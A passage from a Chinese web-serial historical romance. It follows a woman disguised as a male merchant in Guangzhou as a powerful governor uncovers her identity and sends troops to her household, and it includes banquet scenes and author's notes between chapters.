陈君砚颇为体贴地为金韫年布了一箸菜,亲昵之意尽在不言中。随即他不紧不慢地将纳隆·提拉沙敬来的酒杯挡了回去,温声道:“子闵酒量浅,城中谁人不知晓他素来惧内?咱们便不为难他了。今日既然高兴,我来陪你喝个尽兴。” 说罢,他眼含深意,笑吟吟地睇了金韫年一眼,将灼灼炙热隐匿在眼底。 孟清辞将酒杯放下,嘴角几不可察地轻抽了一下,她一时辨不清,陈君砚这话究竟是出于体贴,还是故意想要贬损她。 旁人至多在背后蛐蛐她入赘惧内罢了,本就是为了如今这个身份故意为之,她便全当做不知道。陈君砚倒好,毫不避讳地当她面点破她“惧内”之名。她面上不显,心中却已默默“呵呵”了两声。 孟清辞想不到陈君砚竟说到做到,她对陈君砚此举着实有些看不明白,他当真拉着提拉沙“一醉方休”,直喝得酒量还不错的提拉沙招架不住,借故尿|遁溜之大吉,让她在一旁看的哭笑不得。 而陈君砚自己也好不到哪里去,他醉倒在桌上,此刻已伏在案上,醉得不省人事。孟清辞四下望去,这才发觉他的小厮与随扈竟一个都不在身边。 孟清辞招来店小二一问,才知道陈君砚早将人遣出去办事,此时仍未归。 孟清辞只道心累,总不好留下陈君砚自己再次,陪着,也不知要等到几时。她无奈下只好唤来严江,吩咐他将人扶上自己的马车,打算先将陈君砚送回陈府。 严江手脚利落,当即将人稳稳背起,送入车中。 平日孟清辞一人独乘马车,尚算宽敞,此刻多了一人,竟显得分外逼仄。车轮碾过石板路,晃晃悠悠,都让车厢里那份无言的局促更深一分。 马车一摇一晃间,原本倚着车壁昏睡的陈君砚骤然失了平衡,忽然倒向孟清辞,额头沉沉枕上孟清辞的肩头,更有向下滑落的趋势。孟清辞避无可避,只得伸手将陈君砚半扶半抱住。 陈君砚的脸颊顺势埋入她颈窝,温热的唇无意间擦过她领口微露的一丝肌肤。昏暗车厢内,在孟清辞全然无法窥见的角落,陈君砚的唇角几不可察地微微一勾,露出得逞的笑意。 他虽过了弱冠之年仍未娶妻,却并非不谙世事的少年郎,此刻他将山峦般的重量交付于她身上,那柔弱无骨的触感,以及衣衫下隐约的温软曲线,他还有什么不明白的。 鼻尖萦绕着那缕幽似有若无的幽香,陈君砚心下暗自叹息:难怪,难怪。 难怪那日岑大小姐急于将人带走,原是怕她酒后在自己面前露出破绽,她二人到是感情深厚,那岑大小姐护她的很,连仆役都不叫近她的身。 又难怪那位顾大人驻留在市舶司不肯走,今日在码头与她又依依不舍,原来两人根本不是什么粉桃之好! 不得不承认,她扮得实在精妙。陈君砚敢断言,无论是过尽千帆的红绡,还是戏楼痴恋她的小戏子,恐怕无一识破她的真身。好一个善于伪装、多智近妖的小骗子。 孟清辞被陈君砚压得险些歪倒在一边,她本就不是什么好脾性,此刻见他已经“醉得不省人事”,更懒得再扮好‘贤弟’,她索性抽身一让,任陈君砚毫无依托地倒在坐榻上,自己则利落地转身,移到了对面的位置,不再理会。 陈君砚被她这突如其来的抽身一带,重心骤失,险些直直栽下坐榻。他心下暗啧,这姑娘当真是冷心冷肠,毫不留情。 他自然不敢再借醉唐突,只阖眼假寐,他想,自己既然知晓了,来日方长,总要叫她心甘情愿的跟了他。 又不免狐疑,她原是何身份?为何要和岑大小姐假凤虚凰扮作一对假夫妻?他二人的孩子,又是谁亲生的?一时抓心挠肝,好奇的紧。 一面又佩服她一个女子,在商场上手腕了得,半点不输给男子,若是日后能娶她为妻,得此艳色,他陈君砚此生夫复何求,定当此生不负。 顾聿琛掀帘下了马车,驻足在闽州巡抚衙门前。他微微仰首,沉静的目光掠过门楣上高悬的匾额,“巡抚府”三个鎏金大字在日光下显得庄重肃穆。 他望着牌匾出神,才离开广州府几日,他便觉得心下空荡荡的木然。 未及细想,傅珩亲自迎出来,向来冷肃的脸色,难得缓了三分,语气亲昵中略有责备道:“淮序你可真是难请,不知道广州府有什么稀世风光能将你绊住,竟让你流连忘返,连京城都搁下了。你若再不来,为兄当真要以为,你打算在广州府安家了。” “劳师兄挂念,是淮序之过。”顾聿琛从善如流地淡笑着致歉,他语气温和,却透着一丝不着痕迹的疏离,敷衍道:“哪里是什么风光,不过是京华风云激荡,不适合我,才借着公务之便,到师兄的宝地躲个清静。不想竟这么久,倒是让师兄见笑了。” 这句话不过是个托辞,傅珩心如明镜,却也不去点破,他底下的人自会去查,遂他略过此话,将人迎进府内。一面寒暄,一面不着痕迹地暗中审度着他这个‘师弟’。 说起来,两人上次相遇,还是两年多前,在乐安大长公主府的春日宴上。彼时,他和孟清辞躲在假山之内,而顾淮序便在假山之外,隔着一片嶙峋山石,怒怼长宁郡主。 待将一众贵女赶走后,转而在假山外小心翼翼的对孟清辞致歉,那情景,傅珩至今记忆犹新。 他这位师弟可谓是好脾气的谦谦君子。呵,那还是傅珩第一次见顾淮序这个真君子,当众给一个女子难堪。又惊讶于他这个素来不通情事的师弟,对孟清辞轻声细语,生怕惊扰唐突了佳人的模样。 他很难将印象中那个耿直得近乎执拗,能在大殿上不畏权贵,直抒弹劾的“师弟”,与在书信间同自己侃侃而谈火|药|秘方,且见解精妙绝伦的“顾淮序”相重合。 不论他从不知道,顾淮序藏有这般不为人知的天赋,退一步说,即便顾淮序真有此等天赋,以顾太傅身为清流领袖之尊,也断不可能允许,继承衣钵的嫡长子,沾染这些匠气之事,自贬身价,沦为摆弄奇巧|淫|技之徒。 更不要说,此番书信往来中,顾淮序非但与他纵论当今天下纷乱时局,诸侯竞相蠢蠢欲动。竟还主动为他献策,以机变韬略破局,这般手腕与眼界,远非他记忆中那个耿直单纯的师弟可比。 只是,傅珩一想到至今仍生死不明的爱妻,不免心中又是钻心刺骨的疼,如同一道永不结痂的伤口,只稍触碰,便是犹如蚀骨腕心,瞬间淹没了傅珩对顾淮序转变的疑虑与探究。 傅珩为顾淮序设宴接风,席间,将麾下心腹将领与谋士一一引荐,众人把盏言欢。 傅珩麾下将领张跃激动地举杯向顾聿琛敬酒:“久仰顾大人威名,今日得见,实乃三生有幸!末将是个粗人,不会说什么漂亮话,便自饮三杯,以表敬意!” 张跃对能研制出威力无比火|药|的那位神人向往已久。如今得见,他紧张得手心沁满了汗,竟也全然顾不上,顾淮序是个他平日瞧不上的文弱书生。 谋士谢栾是个精瘦的小老头,他有一下没一下地摇着手里那把秃了毛的羽扇,嗤笑道:“你个莽夫,倒是有几分自知之明,晓得自己是个粗人。哪有接风宴上,陪客人,反先把自己灌醉的道理?真是笑话,丢尽了主公的脸面。” 张跃连饮三杯,脸色涨得通红,闻言气急败坏地回怼:“总比你一开口就满嘴酸腐味强!人家顾大人都没说话,要你多管闲事?” 谢栾不紧不慢地回敬:“路见不平,老朽自然要吼上一声,你这样,叫人家顾大人要回你几杯?你到底会不会做人?简直是个猪脑子。” 张跃更恼:“哪里不平?我看就是你存心挑唆!别以为我不知道你打的什么歪主意,你个糟老头子,心眼坏得很!” 顾聿琛适时举杯打圆场:“今日得蒙诸位盛情,顾某感怀于心。初来闽州,理当由我敬各位一杯,自当由我先干为敬。”说罢,顾淮序从容饮尽。 张跃见他不仅不像谢栾那小老头一样嫌弃自己是个莽夫,还为自己解围,感激的望向他,他对顾淮序的好感更深一层。 “承蒙顾大人看得起。”谢栾眯着一双小眼,满意地笑了笑,也端起酒杯一饮而尽,不再搭理张跃那厮,这蠢货,自古文武便不可相容,这么简单的道理张跃都不懂,日后怕是怎么死的都不知道。 张跃的上司看不下去,在一旁扯了他一把,低声斥道:“行了,次次被那谢老头耍得团团转,也不见你长记性。” 张跃一愣,茫然反问:“他、他这回又耍我什么了?” 傅珩仍旧在一边不冷不淡的冷眼旁观,心内却是惊诧,顾淮序的脾性竟也与从前大相径庭。 玄清真人今日也在席间,他静坐一隅,兀自捋着胡须,目光如烛,久久落在顾淮序面上。他时而微微颔首,心中暗忖:此子龙章凤姿,乃大贵大吉,逢凶化吉之相。有他辅佐主公左右,何愁大业不成?主公坐拥天下,指日可待。 直至酒过三巡,宾客尽欢,宴席将散,傅珩出言挽留,欲将顾淮序留在巡抚府中下榻。 顾淮序婉言谢绝了傅珩留宿之邀。他早已遣人先行一步在闽州城内备妥宅院,并不想居于傅珩的眼皮底下,叫人窥伺掣肘。 傅珩便也随他去,从善如流地命人备车相送,暗处却另遣眼线随行。于他而言,只要顾淮序人还在闽州城内,宿于东街亦或者西巷,本无分别。 且说,孟清辞回去将顾聿琛给她的配方细细捋一遍,做好了先后顺序,准备大刀阔斧的干出一番事业,只想着,待自己富可敌国,便是傅珩做了皇帝也奈何不了她。 秦始皇时期的巴清还是个寡妇,不也因富可敌国,始皇帝对她礼遇有加,还允许其豢养私兵,孟清辞觉得没有什么是钱解决不了的。 孟清辞的事业版图如火如荼的推进着,傅珩这边也因顾聿琛,将火|药|的威力发挥到最大。 又过数月,大同府、山东府、河南府一起攻打京城,傅珩亦准备,待两败俱伤之际,挥兵坐收渔翁之利。 大军开拔在即,巡抚府的书房内,墨简躬身立于案前,将近来探得的密报一一呈上:“顾大人甫至广州,便与通事金韫年一见如故,往来甚密。另查得,金韫年乃是两年多前,岑家大小姐招赘之婿,夫妻二人琴瑟和鸣,且育有一子,如今两岁了。” 傅珩眉目未动,指尖在案上轻叩,他对一个小小通事并无兴趣,略有不耐烦的道:“捡紧要的报来。” 墨简此时微低着头,并不敢看傅珩一眼,嗓音滞涩一瞬,尽量显得平铺直叙道:“经查,这位岑大小姐,实为当年变卖家产、离闽远走的朱家大小姐。如今她记名于舅家族谱,才改姓为岑。 两年前,朱大小姐以岑家之名,于广州城外庄子上安胎,深居简出,甚少见人,直至十月后产下一子。其夫金韫年,通晓番语,在小海小有名气,为人很是长袖善舞。与各路番商往来密切,常与世族豪商流连于秦楼楚馆,尤爱声色犬马,最喜歌舞”—— 作者有话说:感谢等啊,二合一,明天再更这些 第57章 第 57 章 确凿无疑 越是说到后来, 墨简额角已渗出细密汗珠:“这位入赘的金韫年,经探子前往肇庆府查证,出自岑家旁支的亲戚, 却父母双亡, 竟寻不到一个知根知底的故人,此人倒像是专为岑大小姐招婿一事, 凭空冒出来的一般。” 余下的话不必多说,以岑家在肇庆府的势力, 想要给人安排个身份简直不要太简单。太多的巧合凑在一处,便绝不是巧合,这入赘的‘金韫年’是孟清辞确凿无疑了。 ‘种香’当初便是岑家献给傅珩的, 朱大小姐母亲又出自岑家嫡支一脉。 难怪当初她忽然改了心思,想要孩子,原是窥破其中关窍, 一早在为自己铺后路。 这一招灯下黑果然是好手段,任他这两年,大江南北的撒出去多少人, 都遍寻无果。 她不仅改头换面,还扮作男子,又与朱家大小姐扮作恩爱夫妻, 有名正言顺的身份, 真是好的很。 若非他一时好奇顾淮序, 牵扯出她来, 莫说两年, 只怕十年他都未必能发觉。她竟敢如此堂而皇之地藏在自己眼皮底下,还在小海招摇过市,逍遥快活。 傅珩眉目低垂, 勾唇冷笑,看不出怒意,只手中的翠玉笔杆应声折断。 他嗤笑:就他那好师弟,怎么去了市舶司便不走了,只不是知道,他两人是偶然相遇,还是早就背着他有了勾连。当初她在青云观炸毁炼丹房死盾,是她自己的手笔?还是那时候,她便与他那好师弟暗度陈仓了? 思绪及此,傅珩心头猛地一紧,她如今既能安然无恙的摆脱他,那个两岁孩子,也必然是他的。 他还真是小觑了她的能耐,当初用他的钱财买下朱家家产,助朱幼宜摆脱朱家,甘愿与她假扮夫妻,替她隐瞒身份。 书房里诡异的寂静,笔断的声响,让墨简一个激灵,他喉咙滚动,差点发出恐惧的嗝声。他战战兢兢的屏息敛神,不敢发出一点声响,生怕被迁怒。 若不是墨松哭的鼻涕一把泪一把说自己儿子刚出生,一家老小孩指望他,他才不会替墨松来回此事,他这也算是为了那狗东西两肋插刀了。 小海的市舶司里,都是墨松的人,墨松也是跟着夫人最久的人,让人在眼皮子下两年毫无察觉,不仅能大摇大摆进出市舶司,于广州府的世族豪商间更是混的风生水起,买卖更是做到了主子的军中。 若是墨松今日自己来回此事,主子怕是能剥了他的皮。 傅珩终是发出一声寒意刺骨的冷笑:“这么久,就无一人发觉,她是女子?” 傅珩眸光一凛,忽地记起一桩旧事。 约莫一年半前,姚如海前来述职时,为了讨于好他,曾说起当年他从京城归来,带着孟清辞途经浙江,在其知州府邸,他夫人与孟清辞闲谈之事。 忆起姚如海当时似乎提道:“说起来,师母当年曾与拙荆闲话过几句,对拙荆娘家的海贸生意有几分兴趣。拙荆对师母的垂询关怀至今铭记于心,时常感念师母温和贤德,未曾因她门第浅薄而有半分轻慢” 又想到,当年在船上,他只当她是年幼不定性,借此猎奇消遣,从未深想到打着这个主意。呵,何等讽刺!她去了何处,竟是早便有迹可循。 原来她那么早,便想着怎么离开自己,连去处都已盘算清楚。从始至终不曾改变过心意。 墨简几乎硬着头皮,字斟句酌地回禀:“夫人她……极擅易容之术,气质模样与原先大相径庭,并看不出来。加之,除了有‘入赘惧内’的名声在外,在外更广为人知的,是有数位红颜知己,且几位佳人都对夫人情深意重,此事在番商与豪商之间被引为佳话,人人皆称羡夫人能享齐人之福。因此,从无人起疑。” 傅珩此时脸色已是阴翳非常,胸膛间那股滞闷翻涌的戾气,几乎要破膛而出。 她怎么敢!非但诈死欺他,更在外抛头露面,与旁人演尽风流佳话!傅珩压抑着眸底的惊涛骇浪,理智的弦绷紧欲断,咬牙切齿吩咐道:“备船,即刻启航。” 墨简闻言大骇,眼下距挥师京城仅剩数日,万事俱备。此时主子因故离开,岂不是有动摇军心之嫌。 当墨简触到傅珩那看似平静,实则下一刻就要焚尽一切的双眸,他一个字也不敢劝,躬身领命,匆忙退下安排,半刻也不敢耽搁。 深夜的巡抚府骤然灯火通明,仆役们皆步履匆匆,穿梭往来间却无一人敢弄出半点声响,压抑的寂静中,有序的各司其职。 谢栾年迈觉浅,加之大军开拔在即,他作为傅珩的谋士,更是心绪繁杂,难以安枕。忽见院外燃起灯火,光影重重,他心下一动,当即披衣起身。 他的小厮正在廊下打盹,被惊醒后忙上前搀扶他,睡眼惺忪的问:“老爷,您这是要去哪?” 谢栾无语,屈指敲了敲他的额头:“没看见外面灯火全明,你出去莫说是跟我的人,老夫丢不起这个脸。” “一时睡懵了。”小厮憨厚的笑笑,狐疑道:“这大半夜的,是要做什么?” 谢栾:“出去看看。” 出了院子,小厮见着府里的仆役,拉住便问:“出了何事?” “小的不知。”那仆役低着头连连摆手,嘴巴紧的很,跑的比兔子都快,转眼便消失在暗处。 谢栾知道傅珩的规矩,巡抚府里的仆役一个个都是木雕泥塑一般,断不会多嘴一个字,他叹口气:“走,去前面看看。” 主仆二人穿行于忙碌的府院,看着往来搬运的箱笼,小厮忍不住又问:“老爷,这半夜三更的,是要作甚?” 谢栾沉默以对,直至府门外,他恰好望见傅珩策马远去的背影,一骑绝尘,消失在夜色里。 老头子捋了一把胡子,略有所思。 小厮瞧着,大半夜的,慌得他六神无主,扯着他衣袖急问:“老爷,这是有大事啊,可是有敌袭,要打仗了?” 谢栾嫌弃的拽回自己的衣袖,没好气的吹胡子瞪眼道:“袭什么袭,休要胡言乱语。” 小厮被训斥却心情大好,只要不是打仗便好,他怕死的很,却也不敢多问。 谢栾的小眼睛精光闪烁,站在大门前,静谧的夜色里,转身往府里去,忽然大笑两声:“夫人怕是要回来了,妙极,妙极,那牛鼻子老道果然能窥探天机,活该他活不过我,哈哈。” 小厮跟在谢栾身后,很是无语凝噎,暗道:这都是什么虎狼之词。心下却对这个府里讳莫如深的巡抚夫人好奇的要死,只再不敢问。他可是亲眼见过,有人因为提起这位夫人,被活活打死的。 京畿城外,栖霞观静立于云雾缭绕的山岚之间,宛若神仙的清修之地,隔绝了京城内一切的波诡云谲。 三清殿内,香火缭绕,为肃穆威严的法相平添几分不容侵犯的朦胧。空气中弥漫着檀香的沉静气息,偶有铜磬清音回荡殿内,更显道境幽深,道法恢弘。 偏殿一隅,傅静妤一身宽大的素色道袍,更显得纤腰楚楚不盈一握,她只用莲花青玉冠束发,不施粉黛,眉目疏淡气质出尘,除了晚间白玉镯,通身再无其他首饰。 傅静妤于粗陋的木案前俯身,正垂眸静心,一笔一画地誊抄《太上洞玄灵宝无量度人上品妙经》,此乃道教度亡祈福之重典。 桌案上已抄完不薄一叠,墨迹工整,心念专注,似是诚心祈福,潜心向道的女冠。 唯有在她搁笔凝神的瞬间,望向窗外那重重殿宇的眼底,掠过一丝极淡、却无法尽掩的繁杂心绪。 傅静妤想:她多抄些,太子在下面,便不要怪她了罢,她作为傅氏嫡女,也是身不由己。 紫芙从外面进来,将端着的热茶放下,很是心疼道:“主子,您何苦难为自己,太子殁了,最难过的便是您,你这样日夜抄经,熬坏了自己,太子在天有灵,知道了也是要心疼的。” 傅静妤笔下不停,头也未抬的淡道:“无碍,你去忙你的罢。” 紫芙红了眼尾:“山上寒露重,你的身子怎么受得住,总不好一直在观里。” 这时候,春熙进来将紫芙拉出去,两人到了没人的角落里,春熙才压低声音道:“你是真傻?还是假傻?” 紫芙擦了擦眼泪,抿唇问:“什么意思?” 春熙没好气道:“如今整个皇城都叫大皇子把持着,他对咱们主子什么心思不知道?若是不躲来道观,咱们主子这个前太子妃还不叫大皇子吃干抹净了。” 紫芙瞥她一眼,低垂眼眸:“只你聪明,我是个榆木脑袋,只知道关心主子,旁的不是还有你们嘛。” 春熙觉得紫芙没救了,恨铁不成钢摇了摇头,转身走了。 紫芙见春熙走的不见了身影,唇角勾起一抹讥诮的笑意,谁还不是做戏了,大皇子怎么死的,她们几个心知肚明,只是主子不说,各个都在做戏罢了。 她如今倒是羡慕晴儿,早早脱身离开安义侯府这泥潭,好过她这样日日提心吊胆的做戏。 什么躲避大皇子,当她真不知晓,不过是托辞罢了,这道观里如今哪个是吃素的,如今什么局势,主子们什么心思,她们这些贴身伺候的岂有不知道的道理。 颠覆天下,毒杀太子,嫁祸大皇子,里应外合,哪个都是不能与外人道的。 芸笺和柳春如今生不见人,死不见尸,只剩她和春熙,打量着她不知道,春熙那小蹄子和她使得什么伎俩,呵呵。 紫芙暗道:她若是不装傻,便要做那马前卒,待到尘埃落定,必躲不过被灭口的下场。 孟清辞自从和陈君砚做成了白糖的交易,两人有了休戚相关的利益关系,交情便不再浮于表面,趁着两人的‘蜜月期’,孟清辞借机提及想要做矿场的买卖。 有了铁矿,孟清辞便能依照顾聿琛给的方法,研制精铁和钢,她能打造更好的刀具,乃至木仓。 她于一年前便找人去寻矿山,如今已有眉目,不过,这时候想做矿山的买卖,官府里没人,是万万不能的,只说铜矿便决不可能让商贾私自开采倒卖。 而她相中的是一处铁矿,虽然不比铜矿金贵,铁器也受官府管制,孟清辞不想参合岑家的人情,只能以利益和陈君砚置换他的人脉关系。 赶巧今日赵经伦做东,约了闽广商会的豪绅并番商,聚在戏楼里看戏吃酒,孟清辞便想着,待到筵席结束,她再单独和陈君砚商谈此事。 酒过三巡,筵席正酣时,薛天禄目光一凝,便见不远处的陈君砚微微侧首,正与身旁的金韫年凑在一处,几乎头颈相抵,凑在一处低语。不知陈君砚说了些什么,金韫年偶尔轻笑一声,那姿态懒散,两人甚是亲近。 见他两人不过才认识不久,便已相交甚深。 薛天禄几乎嫉妒的要发狂,他气不过金韫年的才能和运气,一个赘婿便应该要夹着尾巴做人,怎么能和他们这些世族豪商同席而坐,简直是抬举他,可这席间的番商和陈君砚却偏要抬举金韫年,无论他如何也不及,怎能不叫薛天禄嫉恨。 周霁宸见薛天禄的神色不对,推了他一下,问道:“看什么呢?脸色冷冰冰的,哪个又惹你了?” 薛天禄讥讽笑道:“周兄倒是好心,如今金韫年攀上了陈七爷的高枝,怕是早把你的知遇之恩抛诸脑后,你平白为这白眼狼做了嫁衣,不知周兄如今是何滋味?” 周霁宸太了解他了,闻言失笑摇头,为他斟满一杯酒,劝道:“你怎的年纪愈长,心眼反倒回去了?买卖,买卖,‘天下熙熙,皆为利来;天下攘攘,皆为利往’,此乃人之常情,你我皆在其中,你又何必独自钻这牛角尖。”(出自《史记》) 周霁宸心道:我这个牵线搭桥的好处已经尽收囊中,买卖,买卖,卖什么不是卖。他这介绍人的买卖可是无本万利,看在兄弟一场的份儿上,便点拨薛天禄几句,算是仁至义尽。 薛天禄没拂周霁宸的面子,端起酒杯一饮而尽,却并未将他的话听进去。 此时,孟清辞借机凑近,与陈君砚道:“七哥,一会儿筵席散了,容小弟单独再开一席,弟弟有事相求,还需七哥帮衬。” 陈君砚见她神神秘秘,眉目张扬灵动的模样,唇角便不自觉扬起一抹清浅的笑意,几乎要抑制不住对她的宠溺之心,目光掠过她耳后细软的茸发,低笑道:“那你可千万别喝醉了。” 孟清辞的目光下意识往席间穿梭的红绡那儿一瞟:“七哥放心,自有为弟弟救场的。”羞赧之色一闪而逝,于她而言,她和红绡也算是银货两讫,她全当是高价雇了个金牌公关。 说来也奇怪,自打与陈君砚做成了那白糖生意,但凡是他在场的酒局,她便再未被多为难过,也不知这是个什么卖就送的‘福利’。 两人近得衣袂相叠,叫人看着倒像是一对亲兄弟。 这时,楼下的戏散了,掌柜的带着名伶妙言前来谢赏,今日唱的是女将军替父从军,那女戏子妙言女扮男装,一身利落的武将戏服英姿飒爽,相交在场一众娇滴滴陪酒的姑娘们,别有一番韵味儿。 妙言与在座的诸人皆相熟,她耍了个花腔,大大方方抱拳对着在座诸位行礼,余光含情带怯的撇一眼金韫年,那如丝的绵绵情意,没几个男子能抵挡。 赵经伦这个东道主自然不会小气,立刻叫小厮再单独打赏,又笑着打趣道:“子闵兄真是艳福不浅,连咱们广府有名的名伶妙言也倾心于你。” 孟清辞赶忙摆手:“赵兄饶我,若是乱说叫我夫人知道,小弟我可是要吃苦头的。再说,我一个大男人被玩笑几句无妨,妙言姑娘清白名声却是要紧,若因我坏了妙言姑娘的清誉?那子闵才真是万死莫赎了。” 红绡摇着扇子娇笑一声:“赵公子,你还是莫要吓他,没见着金公子脸都吓白了吗?” 席间几个相熟的花楼姑娘,起哄似得,皆掩面的笑作一团。 妙言敛眸掩下一抹难言失落,再抬眸则是笑着道:“难得诸位今日都来给妙言捧场,妙言敬诸位一杯,先干为敬。”说完在席间给自己倒了杯酒,一饮而尽。 红绡捧场的赞道:“好个爽快的女将军。” 此时,薛天禄不阴不阳的道:“要我说,看她有什么意思,你们还不知道罢!子闵可是戏楼的票友,妙言那手舞剑随好,在子闵面前可不够看。” 孟清辞想到自己曾一时心软,教过当时名不经传的妙言,正好叫薛天禄撞个正着,当时还当她是这里的戏子,差点要将她掠回去的事情,脸色立时淡了几分。 果然薛天禄见金韫年脸色冷了下来,他更为得意的道:“啧啧,说是惊为天人也不为过,不知道的,还以为他是楼里成名的角儿。” 周霁宸斥责道:“我看你是喝多了,湖沁什么?” 将人比作戏子贬损,真是赶着作死拦不住。没见陈七爷的脸色已经不好起来,这个混不吝,也不怕得罪岑家,岑家大小姐可是护短的很。 却不想,纳隆.提拉沙来了兴致,他自从来了昭德朝,接触了戏楼,便是一等一的戏痴,并没听出来薛天禄的不怀好意。他兴致勃勃的道:“子闵,怎么从没听你说过,也不叫好兄弟开开眼界,你知道,我对此向来如痴如醉。” 陈君砚心知金韫年是女儿身,又听薛天禄如此说,心下虽然差异,却还是拦道:“今日他饮了不少,还是改日罢。” 有那擅长载歌载舞的番商也来了兴致,他们和金韫年关系都不错,知道金韫年不谈买卖的时候,脾气温和,很是好说话,诸人酒后更是兴致高涨,跟着起哄。 “子闵,不要吝啬你的天赋,叫我们大家见识一番。” “还有什么是子闵不会的,太让我们好奇了。” “择日不如撞日,来罢,子闵,我的好兄弟,好兄弟我给你击节,你也给咱们助助兴。” 薛天禄阴笑着道:“怎么?不给大家面子?咱们这么多人,还请不动你不成?” 此言一出,算是将孟清辞架在火上烤。 陈君砚心知此刻已不便再强行拦阻,只得按捺不语,他冷沉的眸光如利刃般射向薛天禄,要他适可而止之意不言而喻。 薛天禄虽有胆怯心虚,但酒壮怂人胆,仍旧强撑着,心道不过是叫金韫年舞剑罢了,又不是只有他想看,是大家都想看。 孟清辞并不怯场,她只是不想太过招摇,以免宣扬出去,不知会埋下什么祸根。此刻知躲不过,她状似无奈叹一声:“既然盛情难却,子闵便献丑了。”她对妙言道:“还要借你的剑一用。” 妙言欲言又止,心知都是她思念他心切,叫人抓住尾巴,向他发难,拖累了他,可事已至此,此间没有她说话的余地,妙言只能将剑取来递给金韫年。 孟清辞看懂了她的心思,轻声安抚一句:“无事。” 孟清辞接过剑,利落的抖了个剑花,对众人道:“久不上手,生疏了,耍的不好,诸位莫要笑话小弟。” 言毕,她手腕轻转,手中的剑似与她通了灵性,翻转间发出一声清越的嗡鸣,划破空气时铮然作响,剑身翻转间发出铮铮鸣响,破风之声锐利,尽显飒爽英姿。 孟清辞的身法,比之妙言的女将军刚柔并济,多了分男子冷硬锋利张力,剑锋凛冽,人剑合一,英姿勃发—— 作者有话说:傅珩:呵,眼睛都不想要了 第58章 第 58 章 登峰造极 广州府这时节总是细雨绵绵, 铅云低垂,乌沉沉,连日来窥不见一丝天光。 岑府里, 岑管家今日一早起来右眼皮便跳个没完没了, 他心里总是七上八下的惴惴难安。 刚过了晌午,门房的小厮便神色慌张, 急吼吼的将他请至府门,他定睛往那门外一看, 险些吓得他心惊肉跳,魂不附体。若不是门房的小厮眼疾手快,一把将岑管家扶住, 他便要一屁股栽倒府门前。 抬眼望去,岑府周遭已被黑甲军围得水泄不通,细雨中, 玄甲森然泛着冷光,横刀冷厉,肃杀之气令人窒息。 闽广两地的百姓, 谁不知道黑甲军是巡抚的贴身亲卫?岑家不过一介商贾,怎么就惹上这等煞神?更遑论,他们大小姐还和军中做着军需的买卖, 有着这层香火情在, 何至于, 何至于 岑管家匀了匀气儿, 站直了身子, 老脸扯出赔笑,跨过门槛上前一步问那零头的黑甲军:“官爷,可是有什么误会?咱们府上可是肇庆府岑氏嫡支。” 那为首的黑甲军闻言, 连眼皮都没掀一下,丝丝细雨中,,只听“锃”的一声清响,他手中佩刀已应声出鞘半寸,泻出一线凛冽寒光,声音冷硬如铁道:“回去。” 岑管家瞠目结舌,他哪里见识过这等阵仗,几乎吓得他肝胆俱裂。他当下跌跌撞撞,急忙往府里去禀告,他毕竟年纪大了,没跑几步,腿肚子转筋,膝盖便是一软,整个人向前踉跄扑去,险些跌倒在地上。 待到了朱幼宜跟前,衣衫已是湿透,淋漓的衣衫紧紧贴着后背,已是分不清是寒凉的雨水,还是那惊出的涔涔冷汗。 朱幼宜刚午睡起来,云鬓微松,精神还带着几分惫懒,她漫不经心地扶了扶金钗,问道:“何时如此慌张?可是老爷又喝醉了,要我去接?” 岑管家闻言,满心的惶惶然给噎了回去,,心下暗道:外头都说姑爷惧内,真是瞎了眼,他们大小姐只差把这位姑爷供起来了。 可眼下哪是琢磨这个的时候,岑管家稳了稳心神:“主子,大事不好了!不知为何,咱们府门外忽然围满了黑甲军,老奴方才刚想开口问问缘由,那为首的黑甲军便拔刀相向,直接将老奴给逼了回来!” 朱幼宜本还慵懒地歪在软榻的靠枕上,锦缎秀春景的团扇遮面,轻轻打了个呵欠,听闻“黑甲军”三字,她周身的那股惫懒霎时一扫而空,猛然坐直了身子,一双美眸肃然,紧盯着岑管家问道:“你说什么?外面来了黑甲军?” 岑管家见主子脸色惊诧,却并无半分疑惑,心下不由猛地一沉,忙应道:“是,将咱们府外叫黑甲军围得水泄不通,不让出去,也不让人进来。” 朱幼宜不自觉地攥紧了手中的革丝团扇,指尖微微颤栗,她深吸一口气,抑制下翻涌的心绪,对侍立一旁的珍珠沉声吩咐:“小少爷呢?去把他抱过来。” 她心想:她们如此小心,还是瞒不住么? 一时又恨此时不能去给孟清辞报信。 一时又不知道自己最终会面对什么惩罚? 朱幼宜想:自己是不是要活到头了,此时能多看一眼儿子也是好的。不过她并不后悔,只有和孟清辞在一起的时候,她才感觉自己又有了家。即便是得不到她的爱,也无所谓。 “回主子,小少爷也午睡着,算着时辰也该醒了,奴婢这就去。”珍珠领命,疾步出门去了偏房。 朱幼宜随即对岑管家吩咐道:“即刻起,府门大开,你立刻将所有下人都聚集到下人房里,不得随意走动。若是黑甲军进来,也无需阻拦!” 岑管家有心问两句,还不等他开口,朱幼宜却挥手:“去罢,不必多问。” 岑管家才出去,珍珠抱着睡眼惺忪,小手揉着眼睛的岑亦初进来,见了娘亲,张开双臂,小家伙奶声奶气撒娇:“要娘亲抱。” 朱幼宜心疼的将他接过来抱在怀里,语气温柔道:“再睡一会儿吧,娘亲抱着你。” 岑亦初将脸埋在她颈窝,蹭了蹭,含糊问道:“娘亲,谁惹你不高兴了吗?” 这话让朱幼宜心中百感交集,她亲了亲儿子的发顶,哄着他道:“娘没不高兴,娘亲就是想你了。” 岑亦初搂紧了朱幼的脖颈没撒手,撇撇嘴暗道:娘亲又哄骗他。 儿子在怀里,朱幼宜心里安生了不少,又吩咐珍珠道:“去将小少爷最喜欢的那本册子拿来,再把少爷的东西都收拢出来。” “娘亲要送我去哪里?娘亲不要我了吗?爹也要不我了?”岑亦初小眼睛睁得大大的,惊慌又疑惑,他毕竟才两岁,聪慧又敏感,他不安的小手紧紧攥着朱幼宜的衣襟。 朱幼宜赶忙拍抚小家伙的后背,笑着柔声哄着他:“你是娘亲的命,娘亲怎么可能舍得不要你,娘亲没有要送你走。”说着她喉咙一哽,忍不住眼眶发酸发胀:“只是只是你父亲怕是不可能让你跟着我的”她越说声音渐渐低了下去,不知道要如何和他解释,毕竟对孩子来讲,太过复杂。 岑亦初果然面露迷惑,他再聪明,也无法想清楚,父母一向恩爱,为什么娘亲突然会说这些,一时转不过弯来,只执拗道:“爹最喜欢娘亲了,爹不会不要娘亲的。” 朱幼宜无奈长叹一声:“你爹她也身不由己,你以后长大就懂了,你要记住,她生你不容易,为了你先写没了命,你以后长大了,可要好好保护她。” 岑亦初点着小脑袋瓜,郑重道:“我都听娘亲的,我也会保护娘亲的。” 